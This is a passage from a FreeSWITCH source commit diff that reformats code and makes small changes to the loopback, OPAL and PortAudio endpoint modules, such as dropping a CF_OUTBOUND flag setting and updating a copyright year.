unsigned char data[SWITCH_RECOMMENDED_BUFFER_SIZE];
uint32_t flag = 0;
@@ -598,28 +590,24 @@
data,
tech_pvt->read_codec.implementation->decoded_bytes_per_packet,
tech_pvt->read_codec.implementation->actual_samples_per_second,
- tech_pvt->cng_frame.data,
- &tech_pvt->cng_frame.datalen,
- &rate,
- &flag);
+ tech_pvt->cng_frame.data, &tech_pvt->cng_frame.datalen, &rate, &flag);
if (encode_status != SWITCH_STATUS_SUCCESS) {
switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
}
-
- }
+ }
//switch_set_flag((&tech_pvt->cng_frame), SFF_CNG);
switch_clear_flag_locked(tech_pvt, TFLAG_CNG);
}
-
+
if (*frame) {
status = SWITCH_STATUS_SUCCESS;
} else {
status = SWITCH_STATUS_FALSE;
- }
+ }
- end:
+ end:
if (mutex) {
switch_mutex_unlock(mutex);
@@ -633,7 +621,7 @@
switch_channel_t *channel = NULL;
private_t *tech_pvt = NULL;
switch_status_t status = SWITCH_STATUS_FALSE;
-
+
channel = switch_core_session_get_channel(session);
switch_assert(channel != NULL);
@@ -645,16 +633,14 @@
}
switch_mutex_lock(tech_pvt->mutex);
- if (!switch_test_flag(tech_pvt, TFLAG_BOWOUT) &&
- tech_pvt->other_tech_pvt &&
- switch_test_flag(tech_pvt, TFLAG_BRIDGE) &&
- switch_test_flag(tech_pvt->other_tech_pvt, TFLAG_BRIDGE) &&
+ if (!switch_test_flag(tech_pvt, TFLAG_BOWOUT) &&
+ tech_pvt->other_tech_pvt &&
+ switch_test_flag(tech_pvt, TFLAG_BRIDGE) &&
+ switch_test_flag(tech_pvt->other_tech_pvt, TFLAG_BRIDGE) &&
switch_channel_test_flag(tech_pvt->channel, CF_BRIDGED) &&
switch_channel_test_flag(tech_pvt->other_channel, CF_BRIDGED) &&
switch_channel_test_flag(tech_pvt->channel, CF_ANSWERED) &&
- switch_channel_test_flag(tech_pvt->other_channel, CF_ANSWERED) &&
- !--tech_pvt->bowout_frame_count <= 0
- ) {
+ switch_channel_test_flag(tech_pvt->other_channel, CF_ANSWERED) && !--tech_pvt->bowout_frame_count <= 0) {
const char *a_uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE);
const char *b_uuid = switch_channel_get_variable(tech_pvt->other_channel, SWITCH_SIGNAL_BOND_VARIABLE);
const char *vetoa, *vetob;
@@ -664,15 +650,15 @@
vetoa = switch_channel_get_variable(tech_pvt->channel, "loopback_bowout");
vetob = switch_channel_get_variable(tech_pvt->other_tech_pvt->channel, "loopback_bowout");
-
+
if ((!vetoa || switch_true(vetoa)) && (!vetob || switch_true(vetob))) {
switch_clear_flag_locked(tech_pvt, TFLAG_WRITE);
switch_clear_flag_locked(tech_pvt->other_tech_pvt, TFLAG_WRITE);
-
+
if (a_uuid && b_uuid) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
"%s detected bridge on both ends, attempting direct connection.\n", switch_channel_get_name(channel));
-
+
/* channel_masquerade eat your heart out....... */
switch_ivr_uuid_bridge(a_uuid, b_uuid);
switch_mutex_unlock(tech_pvt->mutex);
@@ -681,7 +667,7 @@
}
}
- if (switch_test_flag(tech_pvt, TFLAG_LINKED) && tech_pvt->other_tech_pvt) {
+ if (switch_test_flag(tech_pvt, TFLAG_LINKED) && tech_pvt->other_tech_pvt) {
switch_frame_t *clone;
if (frame->codec->implementation != tech_pvt->write_codec.implementation) {
@@ -701,7 +687,7 @@
switch_set_flag_locked(tech_pvt->other_tech_pvt, TFLAG_WRITE);
}
-
+
status = SWITCH_STATUS_SUCCESS;
}
@@ -720,7 +706,7 @@
tech_pvt = switch_core_session_get_private(session);
switch_assert(tech_pvt != NULL);
-
+
switch (msg->message_id) {
case SWITCH_MESSAGE_INDICATE_ANSWER:
if (tech_pvt->other_channel && !switch_test_flag(tech_pvt, TFLAG_OUTBOUND)) {
@@ -734,7 +720,7 @@
break;
case SWITCH_MESSAGE_INDICATE_BRIDGE:
{
- switch_set_flag_locked(tech_pvt, TFLAG_BRIDGE);
+ switch_set_flag_locked(tech_pvt, TFLAG_BRIDGE);
}
break;
case SWITCH_MESSAGE_INDICATE_UNBRIDGE:
@@ -767,17 +753,18 @@
}
break;
- default:
- break;
- }
-
+ default:
+ break;
+ }
+
return SWITCH_STATUS_SUCCESS;
}
static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
switch_caller_profile_t *outbound_profile,
- switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
+ switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+ switch_call_cause_t *cancel_cause)
{
char name[128];
@@ -808,7 +795,7 @@
switch_core_session_destroy(new_session);
return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
}
-
+
if (outbound_profile) {
char *dialplan = NULL, *context = NULL;
@@ -833,7 +820,7 @@
if ((context = strchr(caller_profile->destination_number, '/'))) {
*context++ = '\0';
-
+
if ((dialplan = strchr(context, '/'))) {
*dialplan++ = '\0';
}
@@ -846,7 +833,7 @@
caller_profile->dialplan = switch_core_strdup(caller_profile->pool, dialplan);
}
}
-
+
if (zstr(caller_profile->context)) {
caller_profile->context = switch_core_strdup(caller_profile->pool, "default");
}
@@ -857,7 +844,6 @@
switch_snprintf(name, sizeof(name), "loopback/%s-a", caller_profile->destination_number);
switch_channel_set_name(channel, name);
- switch_channel_set_flag(channel, CF_OUTBOUND);
switch_set_flag_locked(tech_pvt, TFLAG_OUTBOUND);
switch_channel_set_caller_profile(channel, caller_profile);
tech_pvt->caller_profile = caller_profile;
@@ -866,9 +852,9 @@
switch_core_session_destroy(new_session);
return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
}
-
+
switch_channel_set_state(channel, CS_INIT);
-
+
return SWITCH_CAUSE_SUCCESS;
}
@@ -885,10 +871,9 @@
/*.on_consume_media */ channel_on_consume_media,
/*.on_hibernate */ channel_on_hibernate,
/*.on_reset */ channel_on_reset,
- /*.on_park*/ NULL,
- /*.on_reporting*/ NULL,
- /*.on_destroy*/ channel_on_destroy
-
+ /*.on_park */ NULL,
+ /*.on_reporting */ NULL,
+ /*.on_destroy */ channel_on_destroy
};
static switch_io_routines_t channel_io_routines = {
Modified: freeswitch/trunk/src/mod/endpoints/mod_opal/mod_opal.h (16578 => 16579)
--- freeswitch/trunk/src/mod/endpoints/mod_opal/mod_opal.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_opal/mod_opal.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -54,101 +54,97 @@
struct mod_opal_globals {
- int trace_level;
- char *codec_string;
- char *context;
- char *dialplan;
+ int trace_level;
+ char *codec_string;
+ char *context;
+ char *dialplan;
};
extern struct mod_opal_globals mod_opal_globals;
-class FSProcess : public PLibraryProcess {
- PCLASSINFO(FSProcess, PLibraryProcess);
+class FSProcess:public PLibraryProcess {
+ PCLASSINFO(FSProcess, PLibraryProcess);
- public:
- FSProcess();
- ~FSProcess();
+ public:
+ FSProcess();
+ ~FSProcess();
- bool Initialise(switch_loadable_module_interface_t *iface);
+ bool Initialise(switch_loadable_module_interface_t *iface);
- FSManager & GetManager() const { return *m_manager; }
-
- protected:
- FSManager * m_manager;
+ FSManager & GetManager() const {
+ return *m_manager;
+ } protected:
+ FSManager * m_manager;
};
struct FSListener {
- FSListener() {
- }
-
- PString name;
- OpalTransportAddress listenAddress;
- PString localUserName;
- PString gatekeeper;
+ FSListener() {
+ } PString name;
+ OpalTransportAddress listenAddress;
+ PString localUserName;
+ PString gatekeeper;
};
-class FSCall : public OpalCall {
- PCLASSINFO(FSCall, OpalCall);
+class FSCall:public OpalCall {
+ PCLASSINFO(FSCall, OpalCall);
public:
- FSCall(OpalManager & manager);
- virtual PBoolean OnSetUp(OpalConnection & connection);
+ FSCall(OpalManager & manager);
+ virtual PBoolean OnSetUp(OpalConnection & connection);
};
-class FSManager : public OpalManager {
- PCLASSINFO(FSManager, OpalManager);
+class FSManager:public OpalManager {
+ PCLASSINFO(FSManager, OpalManager);
- public:
- FSManager();
+ public:
+ FSManager();
- bool Initialise(switch_loadable_module_interface_t *iface);
+ bool Initialise(switch_loadable_module_interface_t *iface);
- switch_status_t ReadConfig(int reload);
+ switch_status_t ReadConfig(int reload);
- switch_endpoint_interface_t *GetSwitchInterface() const {
- return m_FreeSwitch;
- }
+ switch_endpoint_interface_t *GetSwitchInterface() const {
+ return m_FreeSwitch;
+ } virtual OpalCall *CreateCall(void *userData);
- virtual OpalCall * CreateCall(void * userData);
-
private:
- switch_endpoint_interface_t *m_FreeSwitch;
+ switch_endpoint_interface_t *m_FreeSwitch;
- H323EndPoint *m_h323ep;
- IAX2EndPoint *m_iaxep;
- FSEndPoint *m_fsep;
+ H323EndPoint *m_h323ep;
+ IAX2EndPoint *m_iaxep;
+ FSEndPoint *m_fsep;
- PString m_gkAddress;
- PString m_gkIdentifer;
- PString m_gkInterface;
+ PString m_gkAddress;
+ PString m_gkIdentifer;
+ PString m_gkInterface;
- list < FSListener > m_listeners;
+ list < FSListener > m_listeners;
};
class FSConnection;
typedef struct {
- switch_timer_t read_timer;
- switch_codec_t read_codec;
- switch_codec_t write_codec;
+ switch_timer_t read_timer;
+ switch_codec_t read_codec;
+ switch_codec_t write_codec;
- switch_timer_t vid_read_timer;
- switch_codec_t vid_read_codec;
- switch_codec_t vid_write_codec;
- FSConnection *me;
+ switch_timer_t vid_read_timer;
+ switch_codec_t vid_read_codec;
+ switch_codec_t vid_write_codec;
+ FSConnection *me;
} opal_private_t;
class FSEndPoint:public OpalLocalEndPoint {
- PCLASSINFO(FSEndPoint, OpalLocalEndPoint);
- public:
- FSEndPoint(FSManager & manager);
+ PCLASSINFO(FSEndPoint, OpalLocalEndPoint);
+ public:
+ FSEndPoint(FSManager & manager);
- virtual bool OnIncomingCall(OpalLocalConnection &);
- virtual OpalLocalConnection *CreateConnection(OpalCall & call, void * userData, unsigned options, OpalConnection::StringOptions* stringOptions);
+ virtual bool OnIncomingCall(OpalLocalConnection &);
+ virtual OpalLocalConnection *CreateConnection(OpalCall & call, void *userData, unsigned options, OpalConnection::StringOptions * stringOptions);
};
@@ -174,93 +170,89 @@
class FSConnection:public OpalLocalConnection {
- PCLASSINFO(FSConnection, OpalLocalConnection)
+ PCLASSINFO(FSConnection, OpalLocalConnection)
public:
- FSConnection(OpalCall & call,
- FSEndPoint & endpoint,
- void* userData,
- unsigned options,
- OpalConnection::StringOptions* stringOptions,
- switch_caller_profile_t *outbound_profile,
- switch_core_session_t *fsSession,
- switch_channel_t *fsChannel);
+ FSConnection(OpalCall & call,
+ FSEndPoint & endpoint,
+ void *userData,
+ unsigned options,
+ OpalConnection::StringOptions * stringOptions,
+ switch_caller_profile_t *outbound_profile, switch_core_session_t *fsSession, switch_channel_t *fsChannel);
- virtual bool OnIncoming();
- virtual void OnReleased();
- virtual PBoolean SetAlerting(const PString & calleeName, PBoolean withMedia);
- virtual void OnAlerting();
- virtual void OnEstablished();
- virtual OpalMediaStream *CreateMediaStream(const OpalMediaFormat &, unsigned, PBoolean);
- virtual PBoolean OnOpenMediaStream(OpalMediaStream & stream);
- virtual OpalMediaFormatList GetMediaFormats() const;
- virtual PBoolean SendUserInputTone(char tone, unsigned duration);
- virtual PBoolean SendUserInputString(const PString & value);
+ virtual bool OnIncoming();
+ virtual void OnReleased();
+ virtual PBoolean SetAlerting(const PString & calleeName, PBoolean withMedia);
+ virtual void OnAlerting();
+ virtual void OnEstablished();
+ virtual OpalMediaStream *CreateMediaStream(const OpalMediaFormat &, unsigned, PBoolean);
+ virtual PBoolean OnOpenMediaStream(OpalMediaStream & stream);
+ virtual OpalMediaFormatList GetMediaFormats() const;
+ virtual PBoolean SendUserInputTone(char tone, unsigned duration);
+ virtual PBoolean SendUserInputString(const PString & value);
- void SetCodecs();
+ void SetCodecs();
- DECLARE_CALLBACK0(on_init);
- DECLARE_CALLBACK0(on_routing);
- DECLARE_CALLBACK0(on_execute);
+ DECLARE_CALLBACK0(on_init);
+ DECLARE_CALLBACK0(on_routing);
+ DECLARE_CALLBACK0(on_execute);
- DECLARE_CALLBACK0(on_exchange_media);
- DECLARE_CALLBACK0(on_soft_execute);
+ DECLARE_CALLBACK0(on_exchange_media);
+ DECLARE_CALLBACK0(on_soft_execute);
- DECLARE_CALLBACK1(kill_channel, int, sig);
- DECLARE_CALLBACK1(send_dtmf, const switch_dtmf_t *, dtmf);
- DECLARE_CALLBACK1(receive_message, switch_core_session_message_t *, msg);
- DECLARE_CALLBACK1(receive_event, switch_event_t *, event);
- DECLARE_CALLBACK0(state_change);
- DECLARE_CALLBACK3(read_audio_frame, switch_frame_t **, frame, switch_io_flag_t, flags, int, stream_id);
- DECLARE_CALLBACK3(write_audio_frame, switch_frame_t *, frame, switch_io_flag_t, flags, int, stream_id);
- DECLARE_CALLBACK3(read_video_frame, switch_frame_t **, frame, switch_io_flag_t, flag, int, stream_id);
- DECLARE_CALLBACK3(write_video_frame, switch_frame_t *, frame, switch_io_flag_t, flag, int, stream_id);
+ DECLARE_CALLBACK1(kill_channel, int, sig);
+ DECLARE_CALLBACK1(send_dtmf, const switch_dtmf_t *, dtmf);
+ DECLARE_CALLBACK1(receive_message, switch_core_session_message_t *, msg);
+ DECLARE_CALLBACK1(receive_event, switch_event_t *, event);
+ DECLARE_CALLBACK0(state_change);
+ DECLARE_CALLBACK3(read_audio_frame, switch_frame_t **, frame, switch_io_flag_t, flags, int, stream_id);
+ DECLARE_CALLBACK3(write_audio_frame, switch_frame_t *, frame, switch_io_flag_t, flags, int, stream_id);
+ DECLARE_CALLBACK3(read_video_frame, switch_frame_t **, frame, switch_io_flag_t, flag, int, stream_id);
+ DECLARE_CALLBACK3(write_video_frame, switch_frame_t *, frame, switch_io_flag_t, flag, int, stream_id);
- switch_status_t read_frame(const OpalMediaType & mediaType, switch_frame_t **frame, switch_io_flag_t flags);
- switch_status_t write_frame(const OpalMediaType & mediaType, const switch_frame_t *frame, switch_io_flag_t flags);
+ switch_status_t read_frame(const OpalMediaType & mediaType, switch_frame_t **frame, switch_io_flag_t flags);
+ switch_status_t write_frame(const OpalMediaType & mediaType, const switch_frame_t *frame, switch_io_flag_t flags);
- switch_core_session_t *GetSession() const {
- return m_fsSession;
- }
-
- private:
- FSEndPoint & m_endpoint;
- switch_core_session_t *m_fsSession;
- switch_channel_t *m_fsChannel;
- PSyncPoint m_rxAudioOpened;
- PSyncPoint m_txAudioOpened;
- OpalMediaFormatList m_switchMediaFormats;
+ switch_core_session_t *GetSession() const {
+ return m_fsSession;
+ } private:
+ FSEndPoint & m_endpoint;
+ switch_core_session_t *m_fsSession;
+ switch_channel_t *m_fsChannel;
+ PSyncPoint m_rxAudioOpened;
+ PSyncPoint m_txAudioOpened;
+ OpalMediaFormatList m_switchMediaFormats;
};
class FSMediaStream:public OpalMediaStream {
- PCLASSINFO(FSMediaStream, OpalMediaStream);
- public:
- FSMediaStream(FSConnection & conn, const OpalMediaFormat & mediaFormat, ///< Media format for stream
- unsigned sessionID, ///< Session number for stream
- bool isSource ///< Is a source stream
- );
+ PCLASSINFO(FSMediaStream, OpalMediaStream);
+ public:
+ FSMediaStream(FSConnection & conn, const OpalMediaFormat & mediaFormat, ///< Media format for stream
+ unsigned sessionID, ///< Session number for stream
+ bool isSource ///< Is a source stream
+ );
- virtual PBoolean Open();
- virtual PBoolean Close();
- virtual PBoolean IsSynchronous() const;
- virtual PBoolean RequiresPatchThread(OpalMediaStream *) const;
+ virtual PBoolean Open();
+ virtual PBoolean Close();
+ virtual PBoolean IsSynchronous() const;
+ virtual PBoolean RequiresPatchThread(OpalMediaStream *) const;
- switch_status_t read_frame(switch_frame_t **frame, switch_io_flag_t flags);
- switch_status_t write_frame(const switch_frame_t *frame, switch_io_flag_t flags);
+ switch_status_t read_frame(switch_frame_t **frame, switch_io_flag_t flags);
+ switch_status_t write_frame(const switch_frame_t *frame, switch_io_flag_t flags);
- private:
- switch_core_session_t *m_fsSession;
- switch_channel_t *m_fsChannel;
- switch_timer_t *m_switchTimer;
- switch_codec_t *m_switchCodec;
- switch_frame_t m_readFrame;
- unsigned char m_buf[SWITCH_RECOMMENDED_BUFFER_SIZE];
- RTP_DataFrame m_readRTP;
- bool m_callOnStart;
- uint32_t m_timeStamp;
+ private:
+ switch_core_session_t *m_fsSession;
+ switch_channel_t *m_fsChannel;
+ switch_timer_t *m_switchTimer;
+ switch_codec_t *m_switchCodec;
+ switch_frame_t m_readFrame;
+ unsigned char m_buf[SWITCH_RECOMMENDED_BUFFER_SIZE];
+ RTP_DataFrame m_readRTP;
+ bool m_callOnStart;
+ uint32_t m_timeStamp;
- bool CheckPatchAndLock();
+ bool CheckPatchAndLock();
};
Modified: freeswitch/trunk/src/mod/endpoints/mod_portaudio/mod_portaudio.c (16578 => 16579)
--- freeswitch/trunk/src/mod/endpoints/mod_portaudio/mod_portaudio.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_portaudio/mod_portaudio.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -159,7 +159,8 @@
static switch_status_t channel_on_soft_execute(switch_core_session_t *session);
static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
switch_caller_profile_t *outbound_profile,
- switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
+ switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+ switch_call_cause_t *cancel_cause);
static switch_status_t channel_read_frame(switch_core_session_t *session, switch_frame_t **frame, switch_io_flag_t flags, int stream_id);
static switch_status_t channel_write_frame(switch_core_session_t *session, switch_frame_t *frame, switch_io_flag_t flags, int stream_id);
static switch_status_t channel_kill_channel(switch_core_session_t *session, int sig);
@@ -316,13 +317,15 @@
static switch_status_t channel_on_routing(switch_core_session_t *session)
{
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s CHANNEL ROUTING\n", switch_channel_get_name(switch_core_session_get_channel(session)));
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s CHANNEL ROUTING\n",
+ switch_channel_get_name(switch_core_session_get_channel(session)));
return SWITCH_STATUS_SUCCESS;
}
static switch_status_t channel_on_execute(switch_core_session_t *session)
{
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s CHANNEL EXECUTE\n", switch_channel_get_name(switch_core_session_get_channel(session)));
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s CHANNEL EXECUTE\n",
+ switch_channel_get_name(switch_core_session_get_channel(session)));
return SWITCH_STATUS_SUCCESS;
}
@@ -350,7 +353,7 @@
}
-static void destroy_codecs(void)
+static void destroy_codecs(void)
{
if (switch_core_codec_ready(&globals.read_codec)) {
@@ -404,7 +407,7 @@
if (*tech_pvt->call_id == '\0') {
switch_mutex_lock(globals.pa_mutex);
switch_snprintf(tech_pvt->call_id, sizeof(tech_pvt->call_id), "%d", ++globals.call_id);
- switch_channel_set_variable(switch_core_session_get_channel(tech_pvt->session), SWITCH_PA_CALL_ID_VARIABLE, tech_pvt->call_id);
+ switch_channel_set_variable(switch_core_session_get_channel(tech_pvt->session), SWITCH_PA_CALL_ID_VARIABLE, tech_pvt->call_id);
switch_core_hash_insert(globals.call_hash, tech_pvt->call_id, tech_pvt);
switch_core_session_set_read_codec(tech_pvt->session, &globals.read_codec);
switch_core_session_set_write_codec(tech_pvt->session, &globals.write_codec);
@@ -486,7 +489,7 @@
{
private_t *tech_pvt = switch_core_session_get_private(session);
switch_assert(tech_pvt != NULL);
-
+
switch_mutex_lock(globals.pa_mutex);
switch_core_hash_delete(globals.call_hash, tech_pvt->call_id);
switch_mutex_unlock(globals.pa_mutex);
@@ -498,7 +501,8 @@
tech_close_file(tech_pvt);
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s CHANNEL HANGUP\n", switch_channel_get_name(switch_core_session_get_channel(session)));
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s CHANNEL HANGUP\n",
+ switch_channel_get_name(switch_core_session_get_channel(session)));
return SWITCH_STATUS_SUCCESS;
}
@@ -563,11 +567,11 @@
if (!switch_test_flag(tech_pvt, TFLAG_IO)) {
goto cng_wait;
}
-
+
if (!is_master(tech_pvt)) {
if (tech_pvt->hold_file) {
switch_size_t olen = globals.read_codec.implementation->samples_per_packet;
-
+
if (!tech_pvt->hfh) {
int sample_rate = globals.sample_rate;
if (switch_core_file_open(&tech_pvt->fh,
@@ -612,12 +616,11 @@
if (tech_pvt->hfh) {
tech_close_file(tech_pvt);
}
-
+
switch_mutex_lock(globals.device_lock);
- samples = ReadAudioStream(globals.audio_stream, globals.read_frame.data,
- globals.read_codec.implementation->samples_per_packet, &globals.read_timer);
+ samples = ReadAudioStream(globals.audio_stream, globals.read_frame.data, globals.read_codec.implementation->samples_per_packet, &globals.read_timer);
switch_mutex_unlock(globals.device_lock);
-
+
if (samples) {
globals.read_frame.datalen = samples * 2;
globals.read_frame.samples = samples;
@@ -631,19 +634,19 @@
} else {
goto cng_nowait;
}
-
- normal_return:
+
+ normal_return:
return status;
- cng_nowait:
+ cng_nowait:
*frame = &globals.cng_frame;
return SWITCH_STATUS_SUCCESS;
- cng_wait:
+ cng_wait:
switch_core_timer_next(&globals.hold_timer);
*frame = &globals.cng_frame;
return SWITCH_STATUS_SUCCESS;
-
+
}
static switch_status_t channel_write_frame(switch_core_session_t *session, switch_frame_t *frame, switch_io_flag_t flags, int stream_id)
@@ -706,13 +709,12 @@
/*.on_hangup */ channel_on_hangup,
/*.on_exchange_media */ channel_on_exchange_media,
/*.on_soft_execute */ channel_on_soft_execute,
- /*.on_consume_media*/ NULL,
- /*.on_hibernate*/ NULL,
- /*.on_reset*/ NULL,
- /*.on_park*/ NULL,
- /*.on_reporting*/ NULL,
- /*.on_destroy*/ channel_on_destroy
-
+ /*.on_consume_media */ NULL,
+ /*.on_hibernate */ NULL,
+ /*.on_reset */ NULL,
+ /*.on_park */ NULL,
+ /*.on_reporting */ NULL,
+ /*.on_destroy */ channel_on_destroy
};
switch_io_routines_t portaudio_io_routines = {
@@ -729,7 +731,8 @@
*/
static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
switch_caller_profile_t *outbound_profile,
- switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
+ switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+ switch_call_cause_t *cancel_cause)
{
if ((*new_session = switch_core_session_request(portaudio_endpoint_interface, SWITCH_CALL_DIRECTION_OUTBOUND, pool)) != 0) {
@@ -771,7 +774,6 @@
return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
}
- switch_channel_set_flag(channel, CF_OUTBOUND);
switch_set_flag_locked(tech_pvt, TFLAG_OUTBOUND);
switch_channel_set_state(channel, CS_INIT);
return SWITCH_CAUSE_SUCCESS;
@@ -808,7 +810,7 @@
#if defined(sun) || defined(__sun)
globals.dual_streams = 0;
#endif
-
+
if ((status = load_config()) != SWITCH_STATUS_SUCCESS) {
return status;
}
@@ -949,7 +951,7 @@
if (!globals.dialplan) {
set_global_dialplan("XML");
}
-
+
if (!globals.context) {
set_global_context("default");
}
@@ -1008,14 +1010,14 @@
deactivate_audio_device();
deactivate_ring_device();
destroy_codecs();
-
+
Pa_Terminate();
switch_core_hash_destroy(&globals.call_hash);
switch_event_free_subclass(MY_EVENT_RINGING);
switch_event_free_subclass(MY_EVENT_MAKE_CALL);
switch_event_free_subclass(MY_EVENT_ERROR_AUDIO_DEV);
-
+
switch_safe_free(globals.dialplan);
switch_safe_free(globals.context);
switch_safe_free(globals.cid_name);
@@ -1135,21 +1137,22 @@
for (i = 0; i < numDevices; i++) {
deviceInfo = Pa_GetDeviceInfo(i);
hostApiInfo = Pa_GetHostApiInfo(deviceInfo->hostApi);
- stream->write_function(stream, "\t\t<device id=\"%d\" name=\"%s\" hostapi=\"%s\" inputs=\"%d\" outputs=\"%d\" />\n", i, deviceInfo->name, hostApiInfo->name, deviceInfo->maxInputChannels, deviceInfo->maxOutputChannels);
+ stream->write_function(stream, "\t\t<device id=\"%d\" name=\"%s\" hostapi=\"%s\" inputs=\"%d\" outputs=\"%d\" />\n", i, deviceInfo->name,
+ hostApiInfo->name, deviceInfo->maxInputChannels, deviceInfo->maxOutputChannels);
}
stream->write_function(stream, "\t</devices>\n\t<bindings>\n"
- "\t\t<ring device=\"%d\" />\n"
- "\t\t<input device=\"%d\" />\n"
- "\t\t<output device=\"%d\" />\n"
- "\t</bindings>\n</xml>\n", globals.ringdev, globals.indev, globals.outdev);
+ "\t\t<ring device=\"%d\" />\n"
+ "\t\t<input device=\"%d\" />\n"
+ "\t\t<output device=\"%d\" />\n" "\t</bindings>\n</xml>\n", globals.ringdev, globals.indev, globals.outdev);
} else {
for (i = 0; i < numDevices; i++) {
deviceInfo = Pa_GetDeviceInfo(i);
hostApiInfo = Pa_GetHostApiInfo(deviceInfo->hostApi);
- stream->write_function(stream, "%d;%s(%s);%d;%d;", i, deviceInfo->name, hostApiInfo->name, deviceInfo->maxInputChannels, deviceInfo->maxOutputChannels);
+ stream->write_function(stream, "%d;%s(%s);%d;%d;", i, deviceInfo->name, hostApiInfo->name, deviceInfo->maxInputChannels,
+ deviceInfo->maxOutputChannels);
prev = 0;
if (globals.ringdev == i) {
@@ -1268,7 +1271,7 @@
inputParameters.sampleFormat = paInt16;
inputParameters.suggestedLatency = deviceInfo->defaultLowInputLatency; /* ignored by Pa_IsFormatSupported() */
inputParameters.hostApiSpecificStreamInfo = NULL;
-
+
outputParameters.device = i;
outputParameters.channelCount = deviceInfo->maxOutputChannels;
outputParameters.sampleFormat = paInt16;
@@ -1287,14 +1290,14 @@
}
if (inputParameters.channelCount > 0 && outputParameters.channelCount > 0) {
-
+
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO,
"full-duplex 16 bit %d channel input, %d channel output rates:", inputParameters.channelCount,
outputParameters.channelCount);
PrintSupportedStandardSampleRates(&inputParameters, &outputParameters);
}
}
-
+
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "%s", line);
return 0;
@@ -1355,8 +1358,7 @@
if (switch_core_codec_init(&globals.write_codec,
"L16",
NULL,
- sample_rate, codec_ms, 1, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL,
- NULL) != SWITCH_STATUS_SUCCESS) {
+ sample_rate, codec_ms, 1, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL, NULL) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can't load codec?\n");
switch_core_codec_destroy(&globals.read_codec);
return SWITCH_STATUS_FALSE;
@@ -1428,7 +1430,7 @@
}
switch_mutex_unlock(globals.device_lock);
-
+
if (err != paNoError) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can't open audio device\n");
switch_core_codec_destroy(&globals.read_codec);
@@ -1442,7 +1444,7 @@
}
return SWITCH_STATUS_FALSE;
}
-
+
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Engage audio device rate: %d channels %d\n", sample_rate, outputParameters.channelCount);
engage_ring_device();
@@ -1452,7 +1454,7 @@
static switch_status_t engage_ring_device(void)
{
- PaStreamParameters outputParameters = {0};
+ PaStreamParameters outputParameters = { 0 };
PaError err;
int sample_rate = globals.sample_rate;
int channels = 1;
@@ -1475,7 +1477,7 @@
outputParameters.sampleFormat = SAMPLE_TYPE;
outputParameters.suggestedLatency = Pa_GetDeviceInfo(outputParameters.device)->defaultLowOutputLatency;
outputParameters.hostApiSpecificStreamInfo = NULL;
- err = OpenAudioStream(&globals.ring_stream, NULL,
+ err = OpenAudioStream(&globals.ring_stream, NULL,
&outputParameters, sample_rate, paClipOff, globals.read_codec.implementation->samples_per_packet, globals.dual_streams);
/* UNLOCKED ************************************************************************************************* */
switch_mutex_unlock(globals.device_lock);
@@ -1490,7 +1492,7 @@
return SWITCH_STATUS_SUCCESS;
- error:
+ error:
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can't open ring device\n");
return SWITCH_STATUS_FALSE;
@@ -1526,8 +1528,8 @@
private_t *tp, *tech_pvt = NULL;
char *callid = argv[0];
uint8_t one_call = 0;
-
+
switch_mutex_lock(globals.pvt_lock);
if (zstr(callid)) {
if (globals.call_list) {
@@ -1809,7 +1811,7 @@
switch_channel_mark_answered(channel);
switch_channel_set_state(channel, CS_INIT);
if (switch_core_session_thread_launch(tech_pvt->session) != SWITCH_STATUS_SUCCESS) {
- switch_event_t *event;
+ switch_event_t *event;
